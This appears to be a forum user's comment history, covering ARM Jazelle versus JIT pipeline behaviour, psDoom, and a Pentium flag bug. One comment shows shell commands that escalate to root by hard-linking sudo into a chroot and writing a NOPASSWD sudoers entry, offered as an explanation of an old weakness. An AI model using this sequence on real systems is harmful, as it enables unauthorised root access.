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Teongot

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Teongot
·el año pasado·discuss
> To be cynical, there's probably a lot of corporate spin - Seagate is a HDD company after all.

applause
Teongot
·hace 2 años·discuss
I'd love to see this combined with the author's fork()-less implementation of ps to make a (almost) fork()-free implementation of psDoom.

Seriously though, this is really cool
Teongot
·hace 2 años·discuss
If you can get a suid root binary into the chroot, then you can control its configuration files to bypass security restrictions.

   $ ln /usr/bin/sudo ./my-chroot
   $ echo "$USER ALL=(ALL) NOPASSWD: ALL" > ./my-chroot/etc/sudoers.d/01-oops
   $ chroot ./my-chroot
   $ sudo bash
modern Linux distributions prevent creation of hard links to suid binaries, but the restrictions on chroot came years before that.
Teongot
·hace 2 años·discuss
It so much that JITs became feasible, it's that bigger CPUs were less suitable for Jazelle's approach because of the behaviour of the in-order CPU pipeline.

Because Jazelle converted Java bytecodes into ARM instructions in sequence, there is no opportunity for any instruction scheduling. So a bytecode sequence like:

  // public static int get_x(int x, T a, T b) { return a.x+b.x; }
  aload_1
  getfield #N
  aload_2
  getfield #N
  iadd
would go down the pipeline as something like:

    LDR r1, [r0, #4]   // a_load1
  * LDR r1, [r1]       // getfield
    LDR r2, [r0, #8]   // aload_2
  * LDR r2, [r2]       // getfield
  * ADD r1, r1, r2     // iadd
There would be a pipeline stall before each instruction marked with a *.

On the first ARM 9 CPUs with Jazelle, the pipeline is fairly similar to the standard 5 stage RISC pipeline (Fetch-Decode-Execute-MemoryAccess-Writeback) so this stall would be 1 cycle. That wasn't too bad - you could just accept that loads took usally 2 cycles, and it would still be pretty fast.

However, on later CPUs with a longer pipeline the load-use delay was increased. By ARM11, it was 2 cycles - so now the CPU is spending more time waiting for pipeline stalls that it spends actually executing instructions.

In contrast, even a basic JIT can implement instruction scheduling and find some independent instructions to do between a load and the use of the result, which makes the JIT much more performant than Jazelle could be.
Teongot
·hace 2 años·discuss
From the article

> When it started testing simulations of early Pentium prototypes, Intel discovered that a lot of game designers had found that they could shave one instruction off a hot loop by relying on a bug in the flag-setting behavior of Intel's 486 microprocessor. This bug had to be made part of the architecture: If the Pentium didn't run popular 486 games, customers would blame Intel, not the game authors.

Does anybody know the details of this?